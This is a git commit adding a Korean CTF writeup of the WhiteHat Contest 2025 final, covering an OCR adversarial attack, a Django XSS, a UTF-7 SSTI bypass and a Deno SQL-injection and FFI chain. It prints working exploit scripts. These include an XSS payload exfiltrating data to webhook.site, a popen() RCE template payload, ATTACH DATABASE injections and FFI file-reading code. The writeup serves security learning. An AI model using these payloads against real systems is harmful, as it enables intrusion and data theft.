03
This commit is contained in:
507
src/content/blog/03-whfinal-writeup/index.md
Normal file
507
src/content/blog/03-whfinal-writeup/index.md
Normal file
@@ -0,0 +1,507 @@
|
||||
---
|
||||
title: "화이트햇콘테스트 2025 본선 writeup"
|
||||
description: "withcon 2025 final writeup"
|
||||
date: "Nov 24 2025"
|
||||
---
|
||||
|
||||
## Introduction
|
||||
2025 WHITEHAT 본선에는 헤일메리 팀으로 참가해 총 7문제를 해결했고, 최종 성적은 본선 3위를 기록했다.
|
||||
비공식 기준이긴 하지만 개인 solve 수만 놓고 보면 모든부분 1등이었다.
|
||||
한 문제만 더 풀었으면 2등까지도 가능했을 것 같아 약간 아쉽기도 했다.
|
||||
다음 writeup들은 대부분 ai가 대신 작성해준 내용이니 약간 읽기가 복잡할지도?
|
||||
|
||||
---
|
||||
|
||||
# 1. AI
|
||||
|
||||
## 1.1 Overview
|
||||
이 문제는 제공된 OCR 모델을 속여 특정 문자열 **“givemeflag”**을 출력하게 만드는 Adversarial Attack 문제이다.
|
||||
서버는 32×32 grayscale 이미지 10장을 받아 각 문자를 추출하고, 조합한 문자열이 정확히 맞으면 플래그를 반환한다.
|
||||
|
||||
- Goal: 서버가 “givemeflag”라고 읽도록 만드는 이미지 10장 생성
|
||||
- Given Files:
|
||||
- `OCR.h5` (Keras OCR Model)
|
||||
- `main.py` (Server preprocessing & inference logic)
|
||||
|
||||
핵심은 “사람 눈에는 노이즈지만, 모델은 특정 문자로 착각하는 이미지”를 직접 만드는 것이다.
|
||||
|
||||
## 1.2 Analysis
|
||||
`main.py`를 보면 서버는 다음 순서로 이미지를 처리한다.
|
||||
|
||||
1) Base64 decode
|
||||
2) Convert to grayscale (L mode)
|
||||
3) Resize to 32×32
|
||||
4) Normalize with `/255.0`
|
||||
5) Softmax → Argmax → Character mapping
|
||||
|
||||
즉, 사람이 보기에 정상적인 이미지일 필요가 없고, **모델이 속기 쉬운 패턴**을 만드는 것이 목표였다.
|
||||
|
||||
## 1.3 Methodology
|
||||
- 문자 하나당 이미지 한 장 → 총 10장
|
||||
- FGSM 같은 단일 스텝 방법은 제대로 수렴이 안 됨
|
||||
- 이미지 자체를 변수로 두고 PGD 방식으로 반복 최적화 진행
|
||||
|
||||
Process 요약:
|
||||
|
||||
- 랜덤 노이즈로 이미지 초기화
|
||||
- Loss를 타깃 문자 기준으로 최소화
|
||||
- 매 스텝마다 clipping(0~1)
|
||||
- 일정 기준 충족 시 조기 종료
|
||||
|
||||
## 1.4 Implementation
|
||||
핵심 구현 방식은 다음과 같다.
|
||||
|
||||
- 문자 → index 변환
|
||||
- 랜덤 텐서를 loss 방향으로 최적화
|
||||
- logit이 충분히 높아지면 이미지 픽스
|
||||
- 최종적으로 PIL로 32×32 Grayscale PNG 저장
|
||||
|
||||
Boundary가 넓은 “g”, “i” 등은 빨리 수렴했고, 좁은 “f”는 오래 걸렸다.
|
||||
|
||||
## 1.5 Verification
|
||||
OCR.h5 모델에 직접 돌려본 결과:
|
||||
|
||||
Target: givemeflag
|
||||
Predicted: givemeflag
|
||||
SUCCESS!
|
||||
|
||||
모델이 의도대로 문자열을 정확히 인식했다.
|
||||
|
||||
## 1.6 Submission & Flag
|
||||
Base64 인코딩 후 `/check`로 제출한 결과:
|
||||
|
||||
- alphabets: ["g","i","v","e","m","e","f","l","a","g"]
|
||||
- flag: `whitehat2025{bc4498394e5fb4177656698d850b63d7cd2d49c04e749f8763bdfa4e4062dfd8}`
|
||||
- text: "givemeflag"
|
||||
|
||||
## 1.7 Discussion
|
||||
예선보다 약간 어려웠지만 막히는 난이도는 아니었다.
|
||||
PGD가 잘 먹히는 구조라 모델 decision boundary의 취약함이 그대로 드러난 문제였다.
|
||||
문항 풀이 과정 반절은 잼민이가 도와줬다.
|
||||
|
||||
---
|
||||
|
||||
# 2. Chat
|
||||
|
||||
## 2.1 Overview
|
||||
이 문제는 Django 기반 채팅 애플리케이션의 취약점을 이용해 `/flag/`에서 플래그를 획득하는 문제이다.
|
||||
|
||||
Server constraints:
|
||||
|
||||
1. 요청 IP는 반드시 127.0.0.1
|
||||
2. `username` 쿠키가 반드시 `admin`
|
||||
|
||||
## 2.2 Analysis
|
||||
애플리케이션의 핵심 취약점은 **Inline HTML Preview + Playwright Bot** 조합이다.
|
||||
|
||||
- 메시지 안에 `<div>`, `<script>` 등이 포함되면 인라인 HTML로 분류되고 내부 URL이 생성됨
|
||||
- 서버는 Playwright로 이 페이지를 띄워 HTML/JS를 실행함
|
||||
- 봇은 기본적으로 `username=bot` 쿠키를 가짐
|
||||
- 즉, 공격자가 보낸 JS가 **서버 로컬(127.0.0.1)** 환경에서 실행됨
|
||||
→ 사실상 SSRF + XSS의 콜라보
|
||||
|
||||
## 2.3 Exploit
|
||||
공격 목표는:
|
||||
|
||||
1. 봇의 쿠키를 `username=admin`으로 변조
|
||||
2. `/flag/` 요청
|
||||
3. 응답 플래그를 외부 Webhook으로 유출
|
||||
|
||||
Flow:
|
||||
|
||||
1. 악성 스크립트 포함된 HTML 메시지 전송
|
||||
2. 봇이 Preview 렌더링 페이지 접속
|
||||
3. JS 실행 → 쿠키 변조
|
||||
4. JS 실행 → `/flag/` GET
|
||||
5. 플래그 Webhook 유출
|
||||
|
||||
## 2.4 Implementation
|
||||
|
||||
Python exploit은 회원가입 → 로그인 후 악성 메시지 전송하는 구조였다.
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
import time
|
||||
|
||||
URL = "https://asdf"
|
||||
WEBHOOK_URL = "https://webhook.site/asdf"
|
||||
|
||||
s = requests.Session()
|
||||
s.verify = False
|
||||
|
||||
def register_and_login(username, password):
|
||||
# 1. 회원가입
|
||||
r = s.get(f"{URL}/register/")
|
||||
csrf_token = s.cookies.get('csrftoken')
|
||||
data = {
|
||||
"csrfmiddlewaretoken": csrf_token,
|
||||
"username": username,
|
||||
"password1": password,
|
||||
"password2": password
|
||||
}
|
||||
headers = {"Referer": f"{URL}/register/"}
|
||||
s.post(f"{URL}/register/", data=data, headers=headers)
|
||||
|
||||
# 2. 로그인
|
||||
r = s.get(f"{URL}/login/")
|
||||
if "logout" in r.text:
|
||||
return True
|
||||
return False
|
||||
|
||||
def send_payload():
|
||||
# XSS Payload
|
||||
# 쿠키 변조: username=admin
|
||||
# 플래그 요청 및 유출
|
||||
payload = f"""
|
||||
<div>
|
||||
<script>
|
||||
async function run() {{
|
||||
try {{
|
||||
// 쿠키 변조
|
||||
document.cookie = "username=admin; path=/; secure; samesite=lax";
|
||||
|
||||
// 플래그 요청
|
||||
let flagRes = await fetch('/flag/');
|
||||
let flag = await flagRes.text();
|
||||
|
||||
// 외부로 유출
|
||||
fetch('{WEBHOOK_URL}?flag=' + encodeURIComponent(flag));
|
||||
}} catch (e) {{
|
||||
fetch('{WEBHOOK_URL}?error=' + encodeURIComponent(e.toString()));
|
||||
}}
|
||||
}}
|
||||
run();
|
||||
</script>
|
||||
</div>
|
||||
"""
|
||||
|
||||
csrf_token = s.cookies.get('csrftoken')
|
||||
data = {
|
||||
"csrfmiddlewaretoken": csrf_token,
|
||||
"message": payload
|
||||
}
|
||||
headers = {
|
||||
"Referer": f"{URL}/",
|
||||
"X-CSRFToken": csrf_token
|
||||
}
|
||||
|
||||
print("Sending payload...")
|
||||
s.post(f"{URL}/api/send/", data=data, headers=headers)
|
||||
|
||||
if __name__ == "__main__":
|
||||
import uuid
|
||||
username = f"attacker_{uuid.uuid4().hex[:8]}"
|
||||
password = "password123"
|
||||
|
||||
if register_and_login(username, password):
|
||||
send_payload()
|
||||
print("flag!")
|
||||
```
|
||||
|
||||
|
||||
## 2.5 Discussion
|
||||
|
||||
솔직히 어렵진 않았던 문제이다. 다들 쉽게 풀기도 했으니...
|
||||
|
||||
---
|
||||
|
||||
# 3. Scenario 1-1
|
||||
|
||||
## 3.1 Overview
|
||||
전자 문서 서명 서비스 자체의 취약점 때문에 서버가 탈취된 것으로 추정되며, 복제된 서버에서 flag를 획득하고 침해 원인을 규명하는 것이 목표였다.
|
||||
SSTI 취약점으로 flag를 획득하면 된다.
|
||||
|
||||
---
|
||||
|
||||
## 3.2 Analysis
|
||||
|
||||
### 1) Server-Side Template Injection (SSTI)
|
||||
**파일:** `app/core/pdf_renderer.py`
|
||||
|
||||
```python
|
||||
def render_pdf(self, doc_id: str, markdown_content: str, title: str = "Document") -> dict:
|
||||
try:
|
||||
template = Template(markdown_content)
|
||||
rendered_content = template.render()
|
||||
```
|
||||
|
||||
사용자 입력을 템플릿 엔진에 직접 전달하는 전형적인 SSTI.
|
||||
|
||||
---
|
||||
|
||||
### 2) Broken Security Filter
|
||||
**파일:** `app/core/security.py`
|
||||
|
||||
```python
|
||||
def safe_markdown(content: str) -> bytes:
|
||||
return content.replace("{{", "").replace("}}", "").encode("utf-8")
|
||||
```
|
||||
|
||||
단순 치환이라 인코딩 우회에 매우 취약하다.
|
||||
|
||||
---
|
||||
|
||||
### 3) UTF-7 Decoding Bug (핵심)
|
||||
**파일:** `app/api/documents.py`
|
||||
|
||||
```python
|
||||
safe_markdown_content = safe_markdown(doc.markdown_content).decode("utf-7")
|
||||
```
|
||||
|
||||
UTF-8로 인코딩한 후 UTF-7로 디코딩 → `{{ }}` 패턴 복원됨.
|
||||
|
||||
UTF-7 매핑:
|
||||
|
||||
```
|
||||
+AHsAew- → {{
|
||||
+AH0AfQ- → }}
|
||||
```
|
||||
|
||||
필터가 무력화되며 SSTI가 그대로 살아난다.
|
||||
|
||||
---
|
||||
|
||||
## 3.3 Exploit
|
||||
|
||||
### Step 1 — UTF-7 Payload Construction
|
||||
Payload:
|
||||
|
||||
```
|
||||
+AHsAew-7*7+AH0AfQ-
|
||||
```
|
||||
|
||||
서버 처리 흐름:
|
||||
|
||||
```
|
||||
UTF-7 인코딩 → 필터 우회 → UTF-7 디코딩 → {{7*7}} 복원 → SSTI → 49 출력
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Step 2 — Local PoC
|
||||
로컬에서 Jinja Template으로 테스트해 정상적으로 `{{7*7}}`가 복구되고 실행됨을 확인했다.
|
||||
|
||||
---
|
||||
|
||||
### Step 3 — RCE Payload (UTF-7 Encoded)
|
||||
원본 SSTI:
|
||||
|
||||
```
|
||||
{{ lipsum.__globals__['os'].popen('cat /app/flag.txt').read() }}
|
||||
```
|
||||
|
||||
UTF-7 변환 후 최종 payload:
|
||||
|
||||
```
|
||||
+AHsAew- lipsum+AC4-+AF8AXw-globals+AF8AXw-+AFs-+ACc-os+ACc-+AF0-+AC4-popen+ACg-+ACc-cat +AC8-app+AC8-flag+AC4-txt+ACc-+ACk-+AC4-read+ACg-+ACk- +AH0AfQ-
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Step 4 — Exploit Execution
|
||||
- `/api/documents`로 문서 생성
|
||||
- 렌더링 상태가 `completed` 될 때까지 대기
|
||||
- `/api/documents/<id>/preview`로 PDF 다운로드
|
||||
|
||||
---
|
||||
|
||||
### Step 5 — Extract Flag from PDF
|
||||
|
||||
```
|
||||
whitehat2025{a1c56e0f04fb9abc8467c89089703c8c224d56bc007344b37101f6abe3}
|
||||
```
|
||||
|
||||
PDF 내부 텍스트에서 flag가 정상 추출되었다.
|
||||
|
||||
---
|
||||
|
||||
## 3.4 References
|
||||
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
|
||||
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
|
||||
- https://en.wikipedia.org/wiki/UTF-7
|
||||
- https://jinja.palletsprojects.com/en/latest/
|
||||
|
||||
---
|
||||
|
||||
# 4. Scenario 1-2
|
||||
|
||||
이번 문제는 예선과 같이 취약한 파일들을 패치해서 검사받는 문제이다. llm 돌리면 3분컷나니 생략한다.
|
||||
|
||||
---
|
||||
|
||||
# 5. Scenario 1-3
|
||||
|
||||
그냥 vm 이미지에서 수상한 파일을 찾는 문제이다. 이 역시 별다른 어려움이 없을것이라 예상되니 스킵. 포렌식이 여기 숨어있었음. 이 문제 이후로 1-4를 풀지 못했다. 개어려움...
|
||||
|
||||
---
|
||||
|
||||
# 6. Lemo
|
||||
|
||||
## 6.1 Overview
|
||||
Deno + Fresh 프레임워크로 작성된 웹 서비스에서 여러 보호 기법을 우회하여 플래그를 획득하는 문제이다.
|
||||
SQL Injection, 환경 변수 조작, 파라미터 파싱 취약점, 그리고 Deno FFI 권한 우회까지 연결해야 하는 복합적인 문제였다. 솔직히 이 문제가 내가 푼 문제중에 가장 어려웠다. (사실 그래서 마지막에 넣었음)
|
||||
|
||||
## 6.2 Analysis
|
||||
|
||||
### 1) SQL Injection
|
||||
`server/src/db.ts`의 `createUser` 함수에서 사용자 입력을 직접 쿼리에 삽입하고 있다.
|
||||
|
||||
```typescript
|
||||
export function createUser(username: string, password: string, role: Role = Role.USER) {
|
||||
const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
이를 통해 `ATTACH DATABASE` 구문을 실행하여 서버 파일 시스템에 임의의 파일을 생성할 수 있다.
|
||||
|
||||
### 2) IP Validation Logic (Nginx & Middleware)
|
||||
서버는 `routes/api/admin/save.ts` 접근 시 IP가 `127.0.0.1`인지 검사한다.
|
||||
외부에서 접근 시 Nginx가 `purify.js`를 통해 강제로 실제 IP를 주입하여 우회를 차단하려 한다.
|
||||
|
||||
**nginx/js/purify.js:**
|
||||
```javascript
|
||||
function fix(r) {
|
||||
var out = [];
|
||||
var args = r.args;
|
||||
// ... 기존 ip 파라미터 제거 로직 ...
|
||||
|
||||
var real_ip = r.variables.remote_addr || "";
|
||||
out.push('ip=' + real_ip); // 실제 IP를 쿼리 스트링 마지막에 추가
|
||||
return out.join('&');
|
||||
}
|
||||
```
|
||||
|
||||
하지만 백엔드(`routes/_middleware.ts`)에서는 `npm:qs`를 사용하여 쿼리를 파싱하는데, 여기에 허점이 존재한다.
|
||||
|
||||
**routes/_middleware.ts:**
|
||||
```typescript
|
||||
import qs from "npm:qs";
|
||||
|
||||
async function parseQuery(req: Request) {
|
||||
// ...
|
||||
const parsed = qs.parse(rawQS); // parameterLimit: 1000 (default)
|
||||
return parsed;
|
||||
}
|
||||
|
||||
// ...
|
||||
if (ctx.state.query.ip) {
|
||||
ctx.state.ip = ctx.state.query.ip;
|
||||
} else {
|
||||
ctx.state.ip = "127.0.0.1"; // ip 파라미터가 파싱되지 않으면 로컬로 간주
|
||||
}
|
||||
```
|
||||
|
||||
`qs` 라이브러리는 기본적으로 **1000개의 파라미터만 파싱**하는 제한(`parameterLimit`)이 있다.
|
||||
따라서 공격자가 1000개 이상의 더미 파라미터를 보내면, Nginx가 맨 뒤에 붙인 `ip=REAL_IP`는 파싱 범위 밖으로 밀려나 무시된다.
|
||||
결과적으로 `ctx.state.query.ip`는 `undefined`가 되고, 서버는 이를 로컬 접속(`127.0.0.1`)으로 오인하게 된다.
|
||||
|
||||
### 3) NODE_ENV Validation
|
||||
`save.ts`는 `NODE_ENV`가 "development"일 때만 동작한다.
|
||||
기본값은 "production"이지만, 앞서 언급한 SQL Injection을 통해 `.env` 파일을 생성하고 `NODE_ENV=development` 내용을 주입하여 이를 우회할 수 있다.
|
||||
|
||||
### 4) Deno FFI
|
||||
`deno.json` 설정에서 `--allow-ffi` 옵션이 활성화되어 있다.
|
||||
이는 Deno의 샌드박스(파일 시스템 접근 제한 등)를 우회할 수 있는 치명적인 설정이다. `libc`와 같은 네이티브 라이브러리를 로드하여 `fopen`, `fgetc` 등의 함수를 직접 호출하면 `--allow-read` 제한과 상관없이 모든 파일을 읽을 수 있다.
|
||||
|
||||
## 6.3 Exploit Flow
|
||||
|
||||
1. **NODE_ENV Injection**: SQL Injection으로 `.env` 파일을 생성한다. SQLite 헤더가 포함되지만, 개행 문자를 넣어 `NODE_ENV=development`를 유효한 라인으로 만든다.
|
||||
2. **Server Restart**: `routes/` 디렉토리에 더미 파일을 생성하여 Deno의 Hot Reload를 트리거한다. 재시작 시 조작된 `.env`가 로드된다.
|
||||
3. **IP Bypass**: 요청 쿼리 스트링에 1000개의 더미 파라미터를 포함시켜, Nginx가 뒤에 붙이는 `ip=REAL_IP`가 파싱되지 않도록 한다.
|
||||
4. **RCE**: `save.ts`를 호출하여 FFI 코드가 담긴 TypeScript 파일을 생성하고 실행한다.
|
||||
|
||||
## 6.4 Implementation
|
||||
|
||||
**FFI Payload (TypeScript):**
|
||||
Deno의 권한을 우회하여 `/flag`를 읽는 코드이다.
|
||||
|
||||
```typescript
|
||||
import { Handlers } from "$fresh/server.ts";
|
||||
|
||||
export const handler: Handlers = {
|
||||
async GET(req) {
|
||||
try {
|
||||
const lib = Deno.dlopen("libc.so.6", {
|
||||
fopen: { parameters: ["buffer", "buffer"], result: "pointer" },
|
||||
fgetc: { parameters: ["pointer"], result: "i32" },
|
||||
fclose: { parameters: ["pointer"], result: "i32" },
|
||||
});
|
||||
|
||||
const path = new TextEncoder().encode("/flag\0");
|
||||
const mode = new TextEncoder().encode("r\0");
|
||||
const fp = lib.symbols.fopen(path, mode);
|
||||
|
||||
if (fp === null || fp.value === 0n) return new Response("Failed");
|
||||
|
||||
let content = "";
|
||||
while (true) {
|
||||
const c = lib.symbols.fgetc(fp);
|
||||
if (c === -1) break;
|
||||
content += String.fromCharCode(c);
|
||||
}
|
||||
lib.symbols.fclose(fp);
|
||||
|
||||
return new Response(content);
|
||||
} catch (e) {
|
||||
return new Response(e.toString());
|
||||
}
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
**Exploit Script (Python):**
|
||||
|
||||
```python
|
||||
import requests
|
||||
import time
|
||||
|
||||
URL = "http://asdf"
|
||||
|
||||
def sql_exec(query):
|
||||
# 회원가입 로직을 통한 SQL Injection 수행
|
||||
pass
|
||||
|
||||
# 1. .env 생성 (NODE_ENV=development)
|
||||
print("[*] Creating .env...")
|
||||
env_payload = "x', 'x', 0); ATTACH DATABASE '.env' AS env; CREATE TABLE env.config(val TEXT); INSERT INTO env.config VALUES ('\\nNODE_ENV=development\\n'); --"
|
||||
sql_exec(env_payload)
|
||||
|
||||
# 2. 서버 재시작 트리거
|
||||
print("[*] Triggering restart...")
|
||||
restart_payload = f"x', 'x', 0); ATTACH DATABASE 'routes/restart_{int(time.time())}.ts' AS r; CREATE TABLE r.d(v TEXT); --"
|
||||
sql_exec(restart_payload)
|
||||
|
||||
time.sleep(5) # 재시작 대기
|
||||
|
||||
# 3. QS Limit Bypass & Payload Upload
|
||||
print("[*] Uploading FFI payload...")
|
||||
dummy_params = "&".join([f"p{i}=1" for i in range(1000)])
|
||||
target_url = f"{URL}/api/admin/save?{dummy_params}"
|
||||
|
||||
ffi_code = open("payload.ts", "r").read()
|
||||
data = {
|
||||
"filepath": "api/exploit.ts",
|
||||
"content": ffi_code
|
||||
}
|
||||
|
||||
# Nginx가 ip=REAL_IP를 붙이지만 1000개 제한으로 무시됨 -> 127.0.0.1로 인식
|
||||
requests.post(target_url, data=data)
|
||||
|
||||
# 4. Flag 획득
|
||||
print("[*] Getting flag...")
|
||||
res = requests.get(f"{URL}/api/exploit")
|
||||
print(f"Flag: {res.text}")
|
||||
```
|
||||
|
||||
## 6.5 Flag
|
||||
`whitehat2025{9584eeed890b0b6c68ec1136d009d41504be65c970ee77cce7223ec2f49f3dc6}`
|
||||
|
||||
## 6.6 Discussion
|
||||
단계별로 뚫어야 할 벽이 많아서 매우 까다로웠다. 다들 sqli만 시도하고 막혔을 것이라 생각한다. 나도 잼민이의 도움을 받아 겨우 풀이할 수 있었다.
|
||||
특히 Deno 환경에서 FFI로 샌드박스를 탈출하는 기법이 인상적이었다.
|
||||
|
||||
---
|
||||
|
||||
끝
|
||||
Reference in New Issue
Block a user